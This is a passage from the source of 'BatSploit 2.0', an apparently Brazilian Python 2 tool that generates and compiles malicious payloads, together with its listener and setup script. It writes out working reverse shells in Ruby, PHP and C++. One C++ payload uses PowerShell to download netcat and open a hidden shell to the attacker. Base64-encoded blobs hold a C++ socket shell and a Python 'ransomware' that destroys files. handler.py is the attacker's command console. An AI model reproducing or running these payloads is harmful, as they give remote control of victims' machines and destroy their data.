387 | os.system('@echo off && move "{name}" "compiled/{name}" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
388 | elif self.platform == "Linux":
389 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
390 | elif payload == 'ruby/netcat/reverse_tcp':
391 | # code ...
392 | code = "require 'socket'\n"
393 | code += "s=TCPSocket.open('{host}', {port})\n".format(host=host, port=int(port))
394 | code += "while msg = s.gets\n"
395 | code += " IO.popen(msg, 'r') do |pipe|\n"
396 | code += " s.puts pipe.gets\n"
397 | code += " end\n"
398 | code += "end\n"
399 | code += "s.close"
400 | payload_file = open(name, 'w') # abri o arquivo dst
401 | payload_file.write(code) # escreve o código no arquivo
402 | payload_file.close() # fecha o arquivo
403 | size_payload = os.path.getsize(name) # tamanho do payload
404 | sys.stdout.write(colored("\n[+] ", "green"))
405 | sys.stdout.write(colored("Payload was created ! \n", "white"))
406 | sys.stdout.write(colored("\n[+] ", "green"))
407 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
408 | sys.stdout.write(colored("\n[+] ", "green"))
409 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
410 | sys.stdout.write(colored("\n[+] ", "green"))
411 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
412 | sys.stdout.write(colored("\n[+] ", "green"))
413 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
414 | sys.stdout.write(colored("\n[+] ", "green"))
415 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
416 | if self.platform == "Windows":
417 | os.system('@echo off && move "%s" "compiled/%s" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
418 | elif self.platform == "Linux":
419 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
420 | elif payload == "php/meterpreter/reverse_tcp":
421 | # code ...
422 | code = "$host = '{}';\n".format(host)
423 | code += "$port = {};\n".format(port)
424 | code += "$s = fsockopen($host, $port);\n"
425 | code += "$s_type = 'stream';\n"
426 | code += "$len = fread($s, 4);\n"
427 | code += '$a = unpack("Nlen", $len);'
428 | code += "\n$len = $a['len'];\n"
429 | code += "$b = '';\n"
430 | code += "while(strlen($b) < $len){\n"
431 | code += " switch($s_type){\n"
432 | code += " case 'stream': $b .= fread($s, $len-strlen($b)); break;\n"
433 | code += " }\n"
434 | code += "}\n"
435 | code += "$GLOBALS['msgsock'] = $s;\n"
436 | code += "$GLOBALS['msgsock_type'] = $s_type;\n"
437 | code += "eval($b);\n"
438 | code += "die();"
439 | encode = code.encode('base64').replace("\n", "");
440 | payload_coded = ""
444 | payload_file = open(name, 'w') # abri o arquivo dst
445 | payload_file.write(payload_coded)
446 | payload_file.close() # fecha o arquivo
447 | size_payload = os.path.getsize(name) # tamanho do payload
448 | sys.stdout.write(colored("\n[+] ", "green"))
449 | sys.stdout.write(colored("Payload was created ! \n", "white"))
450 | sys.stdout.write(colored("\n[+] ", "green"))
451 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
452 | sys.stdout.write(colored("\n[+] ", "green"))
453 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
454 | sys.stdout.write(colored("\n[+] ", "green"))
455 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
456 | sys.stdout.write(colored("\n[+] ", "green"))
457 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
458 | sys.stdout.write(colored("\n[+] ", "green"))
459 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
460 | if self.platform == "Windows":
461 | os.system('@echo off && move "%s" "compiled/%s" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
462 | elif self.platform == "Linux":
463 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
464 | elif payload == 'windows/c++/powershell_reverse_tcp':
465 | # code ...
466 | verify = self.compilers_verify()
467 | if verify == True:
468 | url = "'https://github.com/proxyanon/BatSploit/raw/master/nc.exe'"
469 | url_save = "'netcat.exe'"
470 | code = "#include \n"
471 | code += "#include \n"
472 | code += "#include \n\n"
473 | code += "int main()\n"
474 | code += '{\n system("@echo off && mode 20, 10 && color 7f");\n'
475 | code += 'system("echo powershell (New-Object System.Net.WebClient).DownloadFile('+url+','+url_save+') > %temp%/bd.bat");'
476 | code += '\n system("echo netcat '+host+' '+str(port)+' -e cmd >> %temp%/bd.bat");\n'
477 | code += ' system("cd %temp% && powershell -W hidden ./bd.bat");\n'
478 | code += ' return 0;\n'
479 | code += "}"
480 | payload_file = open(name, 'w') # abri o arquivo dst
481 | payload_file.write(code) # escreve o código no arquivo
482 | payload_file.close() # fecha o arquivo
483 | name_payload = name.split('.')[0]
484 | ext_payload = name.split('.')[0]
485 | new_name = name_payload + ".exe"
486 | sys.stdout.write(colored("\n[+] ", "green"))
487 | sys.stdout.write(colored("Payload was created ! \n", "white"))
488 | sys.stdout.write(colored("\n[+] ", "green"))
489 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
490 | sys.stdout.write(colored("\n[+] ", "green"))
491 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
492 | sys.stdout.write(colored("\n[+] ", "green"))
493 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
494 | sys.stdout.write(colored("\n[+] ", "yellow"))
495 | sys.stdout.write(colored("Compiling ...", "white"))
496 | if self.platform == "Windows":
497 | bin_ = os.path.abspath('cpp\\bin\\mingw32-c++.exe') # path do compilador de C
498 | os.system('@echo off && cd cpp/bin && "%s" -static-libgcc -static-libstdc++ ../../%s -o ../../compiled/%s && cd ../../ && del %s'.format(bin_,name,new_name,name)) # compila para qualquer windows rodar
499 | size_payload = os.path.getsize("compiled/"+new_name) / 1048576 # tamanho do payload
500 | sys.stdout.write(colored("\n[+] ", "green"))
501 | sys.stdout.write(colored("Size : %i mb ".format(size_payload), "white"))
502 | sys.stdout.write(colored("\n[+] ", "green"))
503 | sys.stdout.write(colored("Path : compiled/%s\n".format(new_name), "white"))
504 | elif self.platform == "Linux":
505 | os.system("i586-mingw32msvc-gcc %s -o %s".format(name,new_name))
506 | elif payload == 'windows/c++/socket_reverse_tcp':
507 | # code ...
508 | verify = self.compilers_verify()
509 | if verify == True:
510 | code = "I2luY2x1ZGUgPGlvc3RyZWFtPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8d2luc29jay5oPg0KI2luY2x1ZGUgPGNvbmlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8d2luZG93cy5oPg0KDQpXU0FEQVRBIGRhdGE7DQpTT0NLRVQgczsNClNPQ0tBRERSX0lOIHNvY2s7DQpjaGFyIGJ1ZmZbMTAyNF07DQppbnQgYnl0ZXMsIHZlcjsNCg0KaW50IG1haW4oKQ0Kew0KCXN5c3RlbSgicG93ZXJzaGVsbCAtVyBoaWRkZW4gZWNobyAwIik7DQoJRklMRSAqY21kOw0KCWNoYXIgYnVmZmVyWzUxMl07DQoJV1NBU3RhcnR1cChNQUtFV09SRCgxLDEpLCAmZGF0YSk7DQoJcyA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7DQoJc29jay5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCglzb2NrLnNpbl9wb3J0ID0gaHRvbnMoTUVQKTsNCglzb2NrLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcigiTUVIIik7DQoJY29ubmVjdChzLCAoU09DS0FERFIqKSZzb2NrLCBzaXplb2Yoc29jaykpOw0KCXZlciA9IDE7DQoJd2hpbGUodmVyID09IDEpDQoJew0KCQlTbGVlcCgxKTsNCgkJbWVtc2V0KGJ1ZmYsMCwxMDI0KTsNCgkJYnl0ZXMgPSByZWN2KHMsIGJ1ZmYsIDEwMjQsIDApOw0KCQljbWQgPSBwb3BlbihidWZmLCAiciIpOw0KCQlpZihieXRlcyA9PSAtMSkNCgkJew0KCQkJZXhpdCgwKTsNCgkJfQ0KCQl3aGlsZShmZ2V0cyhidWZmZXIsIHNpemVvZihidWZmZXIpLCBjbWQpKQ0KCQl7DQoJCQlzZW5kKHMsIGJ1ZmZlciwgc3RybGVuKGJ1ZmZlciksIDApOw0KCQl9DQoJfQ0KCWdldGNoKCk7DQoJY2xvc2Vzb2NrZXQocyk7DQoJV1NBQ2xlYW51cCgpOw0KCXJldHVybiAwOw0KfQ=="
511 | decoded = code.decode('base64')
512 | payload_coded = decoded.replace("MEP", str(port)).replace("MEH", host)
513 | payload_file = open(name, 'w') # abri o arquivo dst
514 | payload_file.write(payload_coded)
515 | payload_file.close() # fecha o arquivo
516 | name_payload = name.split('.')[0]
517 | ext_payload = name.split('.')[0]
518 | new_name = name_payload + ".exe"
519 | sys.stdout.write(colored("\n[+] ", "green"))
520 | sys.stdout.write(colored("Payload was created ! \n", "white"))
521 | sys.stdout.write(colored("\n[+] ", "green"))
522 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
523 | sys.stdout.write(colored("\n[+] ", "green"))
524 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
525 | sys.stdout.write(colored("\n[+] ", "green"))
526 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
527 | sys.stdout.write(colored("\n[+] ", "yellow"))
528 | sys.stdout.write(colored("Compiling ...", "white"))
529 | if self.platform == "Windows":
530 | bin_ = os.path.abspath('cpp\\bin\\mingw32-c++.exe') # path do compilador de C
531 | os.system('@echo off && cd cpp/bin && "%s" -static-libgcc -static-libstdc++ ../../%s -o ../../compiled/%s -lws2_32 && cd ../../ && del %s'.format(bin_,name,new_name,name)) # compila para qualquer windows rodar
532 | size_payload = os.path.getsize("compiled/"+new_name) / 1048576 # tamanho do payload
533 | sys.stdout.write(colored("\n[+] ", "green"))
534 | sys.stdout.write(colored("Size : %i mb ".format(size_payload), "white"))
535 | sys.stdout.write(colored("\n[+] ", "green"))
536 | sys.stdout.write(colored("Path : compiled/%s\n".format(new_name), "white"))
537 | elif self.platform == "Linux":
538 | os.system("i586-mingw32msvc-gcc %s -o %s".format(name,new_name))
539 | elif payload == 'python/ransomware':
540 | # code ...
541 | code = "Iy0qLWNvZGluZzogdXRmLTgtKi0NCmltcG9ydCBvcywgaGFzaGxpYiwgc3lzLCBwbGF0Zm9ybSwgdGltZQ0KDQp0cnk6DQogICAgICAgIGlmIHBsYXRmb3JtLnN5c3RlbSgpID09ICJXaW5kb3dzIjoNCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oImNscyIpICMgbGltcGEgYSB0ZWxhIHNlIGZvciB3aW5kb3dzDQogICAgICAgIGVsc2U6DQogICAgICAgICAgICAgICAgIyEvdXNyL2Jpbi9weXRob24NCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oImNsZWFyIikgIyBsaW1wYSBhIHRlbGEgc2UgZm9yIGxpbnV4DQogICAgICAgIHByaW50ICJcblsrXSBCYXRTcGxvaXQgUmFuc29td2FyZSBcbiINCiAgICAgICAgcHJpbnQgIiBAQXV0aG9yIDogUHJvWHkgU2VjIg0KICAgICAgICBwcmludCAiIEBWZXJzaW9uIDogMi4wLjAiDQogICAgICAgIHByaW50ICIgPGdpdGh1Yi5jb20vcHJveHlhbm9uLz5cbiIgIyBiYW5uZXINCiAgICAgICAgaWYgbGVuKHN5cy5hcmd2KSA+PSAyOg0KICAgICAgICAgICAgICAgIHBhdGhfdG9fZW5jcnlwdCA9IHN5cy5hcmd2WzFdICMgcGFzdGEgcGFyYSBzZXIgY3JpcHRvZ3JhZmFkYQ0KICAgICAgICAgICAgICAgIHByaW50ICIgPT09PT09PT09PT09PT09IFI0bnMwbXc0cjMgc3RhcnRlZCA9PT09PT09PT09PT09PT1cbiINCiAgICAgICAgICAgICAgICBmb3IgcGF0aHMsZGlycyxmaWxlcyBpbiBvcy53YWxrKHBhdGhfdG9fZW5jcnlwdCk6DQogICAgICAgICAgICAgICAgICAgICAgICBmb3IgZmlsZSBpbiBmaWxlczoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgcGxhdGZvcm0uc3lzdGVtKCkgPT0gIldpbmRvd3MiOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZmxhZyA9IHBhdGhzKyJcXCIrZmlsZSAjIGxpc3RhIHRvZG9zIG9zIGFycXVpdm9zIGUgc3VicGFzdGFzIGRvIHBhdGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWZsYWcgPSBwYXRocysiLyIrZmlsZSAjIGxpc3RhIHRvZG9zIG9zIGFycXVpdm9zIGUgc3VicGFzdGFzIGRvIHBhdGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlsrXSBFbmNyeXB0IDogJXMiJShmbGFnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cnk6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQloYW5kbGVyID0gb3BlbihmbGFnLCAicmIiKSAjIGxlciBvIGNvbnRldWRvIGRlIHRvZG9zIG9zIGFycXVpdm9zDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJcGFzcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cnk6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGhhbmRsZXIucmVhZCgpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBNZW1vcnlFcnJvcjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250ZW50ID0gImRhdGEiICMgc2UgbyBhcnF1aXZvIGZvciBtdWl0byBncmFuZGUsIG8gY29udGV1ZG8gcmVjZWJlICJkYXRhIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmNyeXB0ID0gIlsrXSBZb3VyIGZpbGVzIGhhdmUgYmVlbiBlbmNyeXB0ZWQgOiAiICsgaGFzaGxpYi5zaGE1MTIoY29udGVudCkuaGV4ZGlnZXN0KCkgIyBjaGF2ZSBkZSBjcmlwdG9ncmFmaWEgdXNhZGEgc2hhNTEyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5ld19maWxlcyA9IG9wZW4oZmxhZy5zcGxpdCgiLiIpWzBdK2hhc2hsaWIubWQ1KHRpbWUuY3RpbWUoKSkuaGV4ZGlnZXN0KCkrIi5lbmNyeXB0ZWQiLCAid2IiKSAjIGNyaWEgb3Mgbm92b3MgYXJxdWl2b3MgY3JpcHRvZ3JhZmFkb3MNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmV3X2ZpbGVzLndyaXRlKGVuY3J5cHQpICMgZXNjcmV2ZSBvcyBub3ZvcyBhcnF1aXZvcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoYW5kbGVyLmNsb3NlKCkgIyBmZWNoYSBvcyBhcnF1aXZvcyBvcmlnaW5haXMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmV3X2ZpbGVzLmNsb3NlKCkgIyBmZWNoYSBvcyBub3ZvcyBhcnF1aXZvcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcy5yZW1vdmUoZmxhZykgIyByZW1vdmUgb3MgYXJxdWl2b3Mgb3JpZ2luYWlzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMC41KSAjIGVzcGVyYSAwLjUgc2VndW5kb3MsIHBhcmEgZGFyIG1haXMgZXN0YWJpbGlkYWRlIGFvIHByb2dyYW1hDQogICAgICAgICAgICAgICAgc3lzLnN0ZG91dC5mbHVzaCgpICMgbGltYSBvIGNhY2hlDQogICAgICAgIGVsc2U6DQogICAgICAgICAgICAgICAgbmFtZV9zY3JpcHQgPSBzeXMuYXJndlswXS5zcGxpdCgiXFwiKSAjIG5vbWUgZG8gc2NyaXB0DQogICAgICAgICAgICAgICAgbmFtZSA9IG5hbWVfc2NyaXB0W2xlbihuYW1lX3NjcmlwdCkgLSAxXQ0KICAgICAgICAgICAgICAgIHByaW50ICJcblsrXSBVc2FnZSA6ICVzIHBhdGhfdG9fZW5jcnlwdCIlKG5hbWUpICMgYmFubmVyDQogICAgICAgICAgICAgICAgcHJpbnQgIlsrXSBFeGFtcGxlIDogJXMgQzpcXFVzZXJzXFx2aWN0aW1cXERvY3VtZW50cyIlKG5hbWUpDQogICAgICAgICAgICAgICAgc3lzLnN0ZG91dC5mbHVzaCgpDQogICAgICAgICAgICAgICAgc3lzLmV4aXQoKQ0KZXhjZXB0IEtleWJvYXJkSW50ZXJydXB0Og0KICAgICAgICBwcmludCAiXG5bWF0gU2FpbmRvIC4uLiINCiAgICAgICAgc3lzLmV4aXQoKSAjIHNhaSBzZSBhcGVydGFyIEN0cmwrYw=="
542 | print ""
543 | quest_compile = raw_input("[?] Do you want compiling to .exe [Y/N] : ")
544 | print "\n"
545 | if quest_compile == "N" or quest_compile == "n":
546 | payload_coded = "exec('%s').decode('base64')".format(code)
547 | payload_file = open(name, 'w') # abri o arquivo dst
548 | payload_file.write(payload_coded)
549 | payload_file.close() # fecha o arquivo
550 | name_of_payload = name.split(".")[0]
551 | else:
552 | payload_coded = code.decode("base64")
553 | payload_file = open(name, 'w') # abri o arquivo dst
554 | payload_file.write(payload_coded)
555 | payload_file.close() # fecha o arquivo
556 | name_of_payload = name.split(".")[0]
557 | cmd_ = os.popen("pyinstaller -h")
558 | if not "usage:" in cmd_.read():
559 | os.system("pip install pyinstaller")
560 | else:
561 | os.system("pyinstaller %s".format(name))
562 | if self.platform == "Windows":
563 | os.system("powershell rm -r build")
564 | os.system("del %s.spec".format(name_of_payload))
565 | os.system("cd dist/ && powershell mv %s ../compiled/".format(name_of_payload))
566 | os.system("powershell rm -r dist")
567 | os.system("cls")
568 | elif self.platform == "Linux":
569 | os.system("rm -r build && rm %s.spec && mv %s ../compiled/".format(name_of_payload, name_of_payload))
570 | os.system("clear")
571 | size_payload = os.path.getsize(name) # tamanho do payload
572 | sys.stdout.write(colored("\n[+] ", "green"))
573 | sys.stdout.write(colored("Payload was created ! \n", "white"))
574 | sys.stdout.write(colored("\n[+] ", "green"))
575 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
576 | sys.stdout.write(colored("\n[+] ", "green"))
577 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
578 | sys.stdout.write(colored("\n[+] ", "green"))
579 | if quest_compile == "N" or quest_compile == "n":
580 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
581 | else:
582 | sys.stdout.write(colored("Path : compiled/%s/%s.exe\n".format(name_of_payload,name_of_payload), "white"))
583 | if self.platform == "Windows":
584 | if quest_compile == "N" or quest_compile == "n":
585 | os.system('@echo off && move "%s" "compiled/%s" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
586 | else:
587 | os.system("del %s".format(name))
588 | elif self.platform == "Linux":
589 | if quest_compile == "N" or quest_compile == "n":
590 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
591 | else:
592 | os.system("rm %s".format(name))
593 |
--------------------------------------------------------------------------------
/handler.py:
--------------------------------------------------------------------------------
1 | #-*-coding: utf8-*-
2 | '''
3 | @Author : Daniel Victor Freire Feitosa
4 | @Version : 2.0
5 | @Name : BatSploit
6 | @Language : Python 2.7
7 |
8 |
9 |
10 | Tool Open-Source, qualquer mudança pra melhor é bem vinda, os textos estão em inglês pq é mais simples não ter
11 | que acentuar tudo, e também é uma língua universal, mas os comentários estão em pt-br
12 | '''
13 | import socket, sys, os
14 | try:
15 | from colorama import init
16 | from termcolor import colored
17 | init()
18 | except ImportError:
19 | sys.stdout.write("[!] Some modules needed to use BatSploit 2\n[*] Run : setup.py\n")
20 | sys.exit()
21 | os.system("cls") # if windows
22 | #os.system("clear") # if linux or mac
23 | if len(sys.argv) < 3:
24 | name_script = sys.argv[0].split("\\") # windows only
25 | #name_script = sys.argv[0].split("/") # linux or mac
26 | index_name = len(name_script) - 1
27 | name = name_script[index_name] # nome do script no windows
28 | sys.stdout.write(colored("\n ======", "green"))
29 | sys.stdout.write(colored(" BatSploit 2.0 Handler ", "white"))
30 | sys.stdout.write(colored("======\n", "green"))
31 | sys.stdout.write(colored("\n[-]", "green"))
32 | sys.stdout.write(colored(" Usage : %s \n"%(name), "white"))
33 | sys.stdout.write(colored("\n @Author : Daniel Victor Freire\n", "grey"))
34 | sys.stdout.write(colored(" @Version : 2.0.0\n", "grey"))
35 | sys.stdout.write(colored(" \n", "grey"))
36 | else:
37 | try:
38 | bind_host = sys.argv[1] # ip para servir de servidor
39 | bind_port = int(sys.argv[2]) # porta para escutar
40 | tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # tcp socket
41 | try:
42 | tcp.bind((bind_host, bind_port)) # tcp escutando a porta 8291
43 | sys.stdout.write(colored("\n[+]", "green"))
44 | sys.stdout.write(colored(" Listening %s:%i\r\n"%(bind_host, bind_port), "white"))
45 | except socket.error:
46 | sys.stdout.write(colored("\n[X]", "red"))
47 | sys.stdout.write(colored(" This address can't used, try other port or other host\n", "white"))
48 | sys.exit()
49 | tcp.listen(1) # espera 1 conexao
50 | while True:
51 | tcp_socket, addr = tcp.accept() # aceita a conexao e passa o endereco e o socket
52 | sys.stdout.write(colored("\n[+]", "green"))
53 | sys.stdout.write(colored(" Session staged on %s:%i -> %s:%i with (1024 bytes)\n"%(addr[0], addr[1], bind_host, bind_port), "white"))
54 | while True:
55 | msg = tcp_socket.recv(4096) # mesagem vinda do host conectado
56 | print "\n"+msg+"\n"
57 | cmd = raw_input(colored("pentest@%s:~# "%(addr[0]), "white", attrs=['blink']))# comando atacante
58 | if cmd == "cls":
59 | sys.stdout.write(colored("\n[X]", "red"))
60 | sys.stdout.write(colored(" This command can't execute : %s\n"%(cmd), "white"))
61 | cmd = "vazio"
62 | elif cmd == "":
63 | cmd = "vazio"
64 | tcp_socket.send(cmd) # envia o comando
65 | tcp_socket.close()
66 | sys.stdout.flush()
67 | except KeyboardInterrupt:
68 | sys.stdout.write(colored("\n\n[X]", "red"))
69 | sys.stdout.write(colored(" Exiting ...\n", "white"))
70 | sys.exit()
--------------------------------------------------------------------------------
/nc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/proxyanon/BatSploit/b61f0a0f5f7a06cce296a0c3af7c7e8515bec88d/nc.exe
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #-*-coding: utf8-*-
2 | '''
3 | @Author : Daniel Victor Freire Feitosa
4 | @Version : 2.0
5 | @Name : BatSploit
6 | @Language : Python 2.7
7 |
8 |
9 |
10 | Tool Open-Source, qualquer mudança pra melhor é bem vinda, os textos estão em inglês pq é mais simples não ter
11 | que acentuar tudo, e também é uma língua universal, mas os comentários estão em pt-br
12 | '''
13 | import os, sys, platform
14 | os_id = platform.uname()
15 |
16 | if os_id[0] == "Windows":
17 | os.system("cls")
18 | elif os_id[0] == "Linux":
19 | os.system("clear")
20 | sys.stdout.write("\n[+] Setup BatSploit 2\n")
21 |
22 | def install_libs(so):
23 | if so == "Windows":
24 | os.system("pip install requests && pip install termcolor && pip install colorama && pip install pyinstaller")
25 | elif so == "Linux":
26 | os.system("pip install requests && pip install termcolor && pip install colorama")
27 |
28 | def check_and_install_libs(so):
29 | try:
30 | # verifica as bibliotecas necessarias
31 | import requests
32 | from termcolor import colored
33 | from colorama import init
34 | init()
35 | return 0
36 | except ImportError:
37 | install_libs(so)
38 |
39 | def check_dependencies(so):
40 | # verifica se existem os compiladores de c++
41 | if so == "Windows":
42 | if os.path.exists("cpp/bin") == True:
43 | return 0
44 | else:
45 | return 1
46 | elif so == "Linux":
47 | cmd = os.popen("i586-mingw32msvc-gcc --version")
48 | if 'Copyright' in cmd.read():
49 | return 0
50 | else:
51 | return 1
52 |
53 | def check_and_install_dependencies(so, quest):
54 | # verifica e instala se necessário os compiladores de c++
55 | if os.path.exists("compiled") == False:
56 | try:
57 | if so == "Linux":
58 | os.makedirs("compiled")
59 | os.system("sudo chmod 777 compiled")
60 | elif so == "Windows":
61 | os.makedirs("compiled")
62 | except WindowsError:
63 | pass
64 | else:
65 | pass
66 | # verifica os compiladores de c++
67 | if so == "Windows":
68 | if os.path.exists("cpp/bin") == False:
69 | if quest == "N" or quest == "n":
70 | return 0
71 | else:
72 | os.makedirs("cpp")
73 | r=requests.get("https://eternallybored.org/misc/wget/current/wget.exe")
74 | with open("wget.exe", "wb") as code:
75 | code.write(r.content)
76 | os.system('move "wget.exe" "cpp/" > null && del null && cd cpp && wget -O mingw.rar https://sourceforge.net/p/mingw32/code/ci/master/tree/mingw.rar?format=raw && wget -O unrar.exe https://sourceforge.net/p/mingw32/code/ci/master/tree/UnRAR.exe?format=raw')
77 | os.system('cd cpp && unrar x mingw.rar && del mingw.rar && del unrar.exe && del wget.exe')
78 |
79 | try:
80 | print "\n[+] Platform : %s"%(os_id[0])
81 | print "[+] Arch : %s"%(os_id[4])
82 | if check_and_install_libs(os_id[0]) == 0:
83 | print "\n[+] All dependencies are installed"
84 | else:
85 | print "\n[+] Downloading and installing dependencies"
86 | check_and_install_libs(os_id[0])
87 | if check_dependencies(os_id[0]) == 0:
88 | print "\n[+] BatSploit 2 is complete, run : batsploit.py"
89 | sys.exit()
90 | else:
91 | quest = raw_input("[?] Do want install compillers to C++ [Y/N] : ")
92 | if quest == "N" or quest == "n":
93 | sys.exit()
94 | else:
95 | print "\n---------------- This may take a while :( ----------------\n"
96 | print "[+] Creating dirs"
97 | print "[+] Download compilers, don't close the window !"
98 | if check_and_install_dependencies(os_id[0], quest) == 0:
99 | from termcolor import colored
100 | from colorama import init
101 | init()
102 | sys.stdout.write(colored("\n[+] ", "green"))
103 | sys.stdout.write(colored(" All requisists are satisfied\n, run batsploit.py", "white", attrs='blink'))
104 | sys.stdout.flush()
105 | sys.exit()
106 | else:
107 | print "[+] Download complete !"
108 | print "\n[+] Setup finalized, try run setup.py now\n"
109 | sys.stdout.flush()
110 | except KeyboardInterrupt:
111 | sys.stdout.write("\n[X] Saindo ...\n")
112 | sys.exit()
113 |
--------------------------------------------------------------------------------